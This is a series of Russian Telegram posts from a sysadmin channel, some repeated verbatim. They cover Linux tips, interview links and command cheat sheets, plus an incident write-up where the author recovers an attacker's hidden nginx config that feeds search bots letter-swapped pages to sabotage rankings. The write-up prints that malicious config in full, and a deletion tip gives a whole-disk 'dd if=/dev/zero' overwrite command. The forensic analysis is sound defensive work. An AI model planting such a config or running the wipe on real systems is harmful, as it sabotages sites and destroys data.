— Терминал – инструмент, позволяющий решать множество мелких проблем, не прибегая к помощи других людей и программ.
Quality Assurance — переводится с английского как «обеспечение качества».
QA-инженер — специалист, который следит за качеством продукта на всех этапах его разработки.
#Unix #Linux |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤1
Общие принципы создания софта на Java, способного обрабатывать тысячи коннектов:
Проблема C10k - это термин, обозначающий десять тысяч одновременно обрабатываемых соединений.
Для решения проблемы часто приходится вносить изменения в настройки сетевых сокетов и Linux, следить за использованием буферов отправки и приёма TCP и очередей.
#Java #Linux |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤1
#Linux #DevOps |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6❤1
Автор: Колисниченко Д.
Книга будет полезна для любого уровня читателей – как для тех, кто только заинтересовался Линуксом, так и для тех, кто хочет расширить свои навыки использования этой операционной системы.
Каждый найдет здесь для себя что-то полезное и востребованное!
— Важно, что одним из дистрибутивов (наряду с Ubuntu), на котором показывается работа в Linux, выбран российский Astra Linux, сертифицированный и рекомендованный к использованию на территории России.
#Network #Linux |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14❤1🤯1
В этой статье мы поговорим о терминальном Linux, попробуем поднять на нём графическую оболочку, настроить RDP-соединение и установить базовое ПО, необходимое для комфортного взаимодействия с VDS.
#Linux #RDP |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🤯5🔥3
Дядя Джонни снова с вами, не надо плаки плаки, я вам делаю нормолдаки(немного оффтопа от веселого админа) итак, полезная подборка актуальных задач и вопросов с собеседований, которые помогут вам подготовиться как к практике, так и к теории и получить работу.
1. Вопросы для интервью системного администратора Linux/DevOps
2. Вопросы системного администратора
3. 100 важных вопросов на собеседовании по Linux с ответами
4. Подборка вопросов для собеса с системным администратором Linux/DevOps
5. Дополнительные вопросы для собеседования с системным администратором
6. Полезный материал для подготовки к собеседованию на должность инженера DevOps: Исчерпывающее руководство
#Linux #DevOps #SysAdmin #Interview
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
Tcpdump знакома любому сетевому администратору, с ее помощью мы собираем трафик для последующего анализа. Типичная история – собираем трафик, приходящий на нужный интерфейс и затем уже анализируем его Wireshark.
— Не секрет, что утилита Tcpdump не интерпретирует протоколы прикладного уровня, ограничиваясь работой с транспортным уровнем. Однако, в этой статье мы рассмотрим различные варианты использования утилиты Tcpdump для более глубокой фильтрации трафика.
↘ habr.com
#TCP #Linux |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12🔥3🤣1
Пользователи Linux наверняка знают, что удаление файлов стандартными методами — не очень то и надежное дело. При удалении файлов на операционной системе Linux данные все равно остаются на накопителе, ведь стираются только иноды — индексные дескрипторы, содержащие метаинформацию о файлах.
1. Shred: CLI-утилита shred дает возможность перезаписывать удаленный объект случайным набором данных, что скрывает его содержимое. Обратите внимание на два важных параметра в этой утилите: -n (количество циклов перезаписи, а также -z (перезапись участка на последнем проходе нулями для скрытия факта перезаписи).
2. Secure-delete: У CLI-утилиты secure-delete в наличие 3 основных режима:
1. sfill - перезапись "свободного места на диске".
2. sswap - перезапись данных в swap-пространства.
3. srm - самый надежный аналог команды удаления rm с перезаписью освободившегося пространства.
3. DD: Самый тяжелый, но верный способ перезаписи свободного пространства с помощью встроенный утилиты Linux, которая позволяет создать большой по объему файл, состоящий либо из случайных данных, либо из нулей.
sudo dd if=/dev/zero of=/dev/<disk identifier> bs=4k
Существуют и другие инструменты для удаления файлов, но с вами поделился самыми надежными эффективными.
#Linux |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍51🔥8⚡2🤨2
This media is not supported in your browser
VIEW IN TELEGRAM
Джонни специально для вас сделал памятку команд, которые помогут рабочему процессу на операционной системе Linux в сетях LAN И WI-FI. Прошу к ознакомлению, друзья
whois www.example.com
— Вывести информацию о доменном имени из базы данных whoistcpdump tcp port 80
— Вывести весь трафик на TCP-порт 80 (В частых случаях это HTTP)dhclient eth0
— Включить DHCP на сетевом интерфейсе eth0ethtool eth0
— Вывод статистики по сетевому интерфейсу eth0ifconfig eth0
— Вывести настройки сетевой карты eth0ifconfig eth0 promisc
— Переключить интерфейс eth0 в promiscuous-режим для сбора сетевых пакетовifup eth0
— Включить сетевой интерфейс eth0iwlist scan
— Сканирование и поиск беспроводных сетей и точек доступаroute add -net 0/0 gw IP_Gateway
— Назначить ip-адрес шлюза по умолчаниюroute del 0/0 gw IP_gateway
— Удалить ip-адрес шлюза по умолчанию#Linux |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18🔥5⚡4👎1
Джонни столкнулся с неприятной штукой, что в Linux вывод текста файлов вылезает за экран, и приходится бесконечно листать по бокам. Хочется же сделать так, чтобы вывод текста был немного поуже в ширину.
Fold - утилита в системе Linux, которая урезает длину строки в выводе, что помогает нам сделать процесс удобным. Большинство терминалов имеют ширину экрана 80 символов в строке, что вызывает ужасные чувства при работе.
Применяем Fold на практике:
— Создаем файл /tmp/fold.txt и заполняем его любым текстом, чего душа желает:
vim /tmp/fold.txt
. Теперь выведем содержимое файла обычной командой cat: cat /tmp/fold.txt
fold -c40 /tmp/fold.txt
#Linux #Terminal #Tools |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥2
Дядя Джонни снова с вами, не надо плаки плаки, я вам делаю нормолдаки(немного оффтопа от веселого админа) итак, полезная подборка актуальных задач и вопросов с собеседований, которые помогут вам подготовиться как к практике, так и к теории и получить работу.
1. Вопросы для интервью системного администратора Linux/DevOps
2. Вопросы системного администратора
3. 100 важных вопросов на собеседовании по Linux с ответами
4. Подборка вопросов для собеса с системным администратором Linux/DevOps
5. Дополнительные вопросы для собеседования с системным администратором
6. Полезный материал для подготовки к собеседованию на должность инженера DevOps: Исчерпывающее руководство
#Linux #DevOps #SysAdmin #Interview
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍6
В данном посте я расскажу о наиболее интересных командах, которые могут быть очень полезны при работе в консоли. Однозначных критериев определения какая команда лучше другой — нет, каждый сам для своих условий выбирает лучшее.
Десятое место:
Комбинация 'ALT+.' или '<ESC> .'
— ввод последнего аргумента недавних команд. Удерживая ALT или ESC, с каждым нажатием на точку в строку ввода будут подставляться параметры предыдущих команд, начиная от недавно введенных к старым.Девятое место:
reset
— переинициализация терминала без завершения текущей сессии. Например, в случае когда в терминал были выведены двоичные данные и он перестал корректно работать.Восьмое место:
> file.txt
— создает пустой файл. Уничтожает содержимое файла без его удаления.Седьмое место:
<пробел>команда
— запуск команды с пробелом перед ней не сохраняет ее в истории. Может пригодиться при передаче паролей программам в открытом виде.Шестое место:
Комбинация 'CTRL+X E'
— запуск редактора для ввода сложной команды или скрипта, выбор редактора определяется переменной $EDITORПятое место:
mtr google.com
— утилита My Traceroute эффективнее, чем комбинация traceroute и ping. Утилита mtr сочетает в себе функциональность traceroute и ping, позволяет проводить диагностику сети в более наглядном виде.Четвертое место:
^foo^bar
— запуск предыдущей команды с заменой в ней подстроки, например, с foo на bar. Полезна при опечатках. Если ввести просто ^foo, то в предыдущей команде первое вхождение foo будет удалено.Третье место: '
cd -
' — возврат в предыдущую рабочую директорию. Может пригодиться и для переключения туда-сюда между двумя директориями.Второе место:
python -m SimpleHTTPServer
— запуск HTTP-сервера в текущей директории на 8000 порту. Если в директории нет файла index.html, то будет показан её листинг.Первое место:
sudo !!
— запуск последней команды под root.Полезна когда забыли использовать sudo для команды. "!!" — подставляет ласт введенную команду.
#Linux #Bash #shell |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍23🔥4
Дядя Джонни снова с вами, итак, полезная подборка актуальных задач и вопросов с собеседований, которые помогут вам подготовиться как к практике, так и к теории и получить работу.
1. Вопросы для интервью системного администратора Linux/DevOps
2. Вопросы системного администратора
3. 100 важных вопросов на собеседовании по Linux с ответами
4. Подборка вопросов для собеса с системным администратором Linux/DevOps
5. Дополнительные вопросы для собеседования с системным администратором
6. Полезный материал для подготовки к собеседованию на должность инженера DevOps: Исчерпывающее руководство
#Linux #DevOps #SysAdmin #Interview
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥5
Сетевик Джонни // Network Admin
Получается, это чей-то артефакт. Чей? Перед тем, как нырять в инсталлятор, глянем ещё в одну важную инфраструктуру Debian — ответы на вопросы. Каждый раз, когда пакет задаёт вопрос, и во многих случаях, когда он вопроса не задаёт, но использует вариант по-умолчанию, и вопрос, и ответ фиксируются в специальной базе в Debian, которая называется debconf.
— Мы можем посмотреть на базу ответов (и даже выставить их до установки самого пакета — debconf-set-selections), для этого нам потребуется утилита debconf-get-selections из состава debconf-utils. К сожалению, ничего интересного не нашлось: (debconf-get-selections |grep -i resume вернул пусто).
debian-installer
У установщика есть своя база ответов на вопросы: /var/log/installer/cdebconf/questions.dat. К сожалению, там тоже нет ни слова про наш resume.
Зато рядом есть логи, в т.ч. syslog, куда пишется весь лог инсталляции. Там упоминается пакет base-installer, и на его странице мы можем видеть ссылку на сырцы.
resume="$(mapdevfs "$resume_devfs")"; then
...
if [ "$do_initrd" = yes ]; then
...
resumeconf=$IT_CONFDIR/resume
....
echo "RESUME=$resume" >> $resumeconf
mapdevfs — это утилита с понятным назначением, а интересная нам функция это get_resume_partition, которая читает /proc/swaps и выбирает там самую большую. Swap же у нас приходит от partman'а.
Ответ на наше тестовое задание: файл создаётся инсталлятором в /target'е в момент установки, т.е. мы говорим про well-known, но артефакт. В существующих в системе пакетах нет никого и ничего, чтобы меняло этот файл.
#Linux #DevOps #debconf |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥2
Дядя Джонни снова с вами, итак, полезная подборка актуальных задач и вопросов с собеседований, которые помогут вам подготовиться как к практике, так и к теории и получить работу.
1. Вопросы для интервью системного администратора Linux/DevOps
2. Вопросы системного администратора
3. 100 важных вопросов на собеседовании по Linux с ответами
4. Подборка вопросов для собеса с системным администратором Linux/DevOps
5. Дополнительные вопросы для собеседования с системным администратором
6. Полезный материал для подготовки к собеседованию на должность инженера DevOps: Исчерпывающее руководство
#Linux #DevOps #SysAdmin #Interview
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8🔥1
Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
— Надо сказать, что приятель мой вполне себе UNIX-пользователь: может сам поставить систему, установить mysql, php и сделать простейшие настройки nginx. И есть у него десяток-полтора сайтов посвященных строительным инструментам.
Один из таких сайтов, посвященный бензопилам, плотненько сидит в ТОПe поисковиков. Сайт этот — некоммерческий обзорник, но кому-то поперек горла и повадились его атаковать. То DDoS, то брутфорс, то комменты напишут непотребные и шлют абузы на хостинг и в РКН.
Неожиданно всё стихло и это затишье оказалось не к добру, а сайт начал постепенно покидать верхние строчки выдачи.
Время близилось ко сну когда раздался звонок телефона: «Сань, ты не глянешь мой сервер? Мне кажется меня хакнули, доказать не могу, но ощущение не покидает уже третью неделю. Может мне просто пора лечиться от паранойи?»
Далее пошло получасовое обсуждение которое кратко можно изложить так:
- почва для взлома была вполне плодородной;
- взломщик мог получить права суперпользователя;
- атака (если она имела место) была целенаправленной и именно на этот сайт;
- проблемные места исправлены и нужно только понять был ли факт проникновения;
- взлом не мог коснуться кода сайта и баз данных.
Касательно последнего пункта, в мир смотрит только белый IP фронтенда(см. фото). Между бакендами и фронтендом нет никакого обмена кроме http(s), пользователи/пароли разные, ключами не обменивались. На серых адресах все порты кроме 80/443 закрыты. Белые IP бакендов известны только двум пользователям, которым Михаил всецело доверяет.
— На фронтенде установлена Debian 9 и к моменту звонка система изолирована от мира внешним firewall'ом и остановлена.
«Ok, давай доступы, — решаю отложить сон на часок. — Посмотрю своим глазом».
Здесь и далее:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍2🤣1
Сетевик Джонни // Network Admin
Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
Запускаю сервер, сначала в rescue-mode. Монтирую диски, пролистываю auth-логи, history, системные логи и т.п., по возможности проверяю даты создания файлов, хотя понимаю, что нормальный взломщик «подмел» бы за собой, да и Миша уже знатно «натоптал» пока искал сам.
— Стартую в нормальном режиме, особо пока не понимая что искать, изучаю конфиги. В первую очередь интересует nginx так как, в общем-то, на фронтенде кроме него и нет ничего.
Конфиги небольшие, хорошо структурированые в десяток файлов, просматриваю их просто cat'ом по очереди. Вроде всё чисто, но мало-ли упустил какой-то include, сделаю-ка я полный листинг:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
К тому же система считает, что версия установлена свежее:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
— Миш, ты зачем пересобирал nginx?
— Окстись, я даже не знаю как это сделать!
— Ok, ну, спи…
Nginx однозначно пересобран и вывод листинга по "-T" скрыт неспроста. Сомнений во взломе уже нет и можно это просто принять и (раз уж Миша всё-равно заменил сервер новым) посчитать проблему решенной.
— И действительно, раз уж некто получил права root'а, то имеет смысл делать только system reinstall, а искать, что там было набедокурено бесполезно, но в этот раз любопытство победило сон. Как же узнать что от нас хотели скрыть?
Попробуем оттрассировать:
$ strace nginx -T
Просматриваем, в трассировке явно не хватает строк а-ля
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "\n", 1
Ради интереса сравниваем выводы
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Думаю, что часть кода /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
была приведена к виду:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
или
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
поэтому листинг по "-T" не отображается.
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍4
Сетевик Джонни // Network Admin
Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':
По шагам:
— устанавливаем точку останова в функции main()
— запускаем программу
— изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
— продолжаем/завершаем программу
Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Рассмотрим по порядку что же здесь происходит, итак, определяются User-Agent'ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Исключаются служебные страницы wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
И для тех, кто попал под оба условия:
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'(см. прикреплённое фото). Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'. Не берусь рассуждать, как это влияет на SEO, но вряд ли такая буквенная мешанина позитивно скажется на позициях в выдаче.
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11🔥4
Сетевик Джонни // Network Admin
Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
Запускаю сервер, сначала в rescue-mode. Монтирую диски, пролистываю auth-логи, history, системные логи и т.п., по возможности проверяю даты создания файлов, хотя понимаю, что нормальный взломщик «подмел» бы за собой, да и Миша уже знатно «натоптал» пока искал сам.
— Стартую в нормальном режиме, особо пока не понимая что искать, изучаю конфиги. В первую очередь интересует nginx так как, в общем-то, на фронтенде кроме него и нет ничего.
Конфиги небольшие, хорошо структурированые в десяток файлов, просматриваю их просто cat'ом по очереди. Вроде всё чисто, но мало-ли упустил какой-то include, сделаю-ка я полный листинг:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
К тому же система считает, что версия установлена свежее:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
— Миш, ты зачем пересобирал nginx?
— Окстись, я даже не знаю как это сделать!
— Ok, ну, спи…
Nginx однозначно пересобран и вывод листинга по "-T" скрыт неспроста. Сомнений во взломе уже нет и можно это просто принять и (раз уж Миша всё-равно заменил сервер новым) посчитать проблему решенной.
— И действительно, раз уж некто получил права root'а, то имеет смысл делать только system reinstall, а искать, что там было набедокурено бесполезно, но в этот раз любопытство победило сон. Как же узнать что от нас хотели скрыть?
Попробуем оттрассировать:
$ strace nginx -T
Просматриваем, в трассировке явно не хватает строк а-ля
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "\n", 1
Ради интереса сравниваем выводы
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Думаю, что часть кода /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
была приведена к виду:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
или
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
поэтому листинг по "-T" не отображается.
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥3
Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.
Если моя мысль верна и проблема только в переменной
ngx_dump_config
попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g
присутствует и надеемся, что оптимизация -O2
нам не помешает. При этом, раз я не знаю как ngx_dump_config
могла быть обработана в case 'T'
:, не будем вызывать этот блок, а установим её используя case 't'
:По шагам:
– устанавливаем точку останова в функции
main()
– запускаем программу
– изменяем значение переменной определяющей вывод конфига
ngx_dump_config=1
– продолжаем/завершаем программу
Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Определяются User-Agent'ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Исключаются служебные страницы wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
И для тех, кто попал под оба вышеперечисленных условия
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'
Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'.
#Linux #nginx #unix |
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🔥2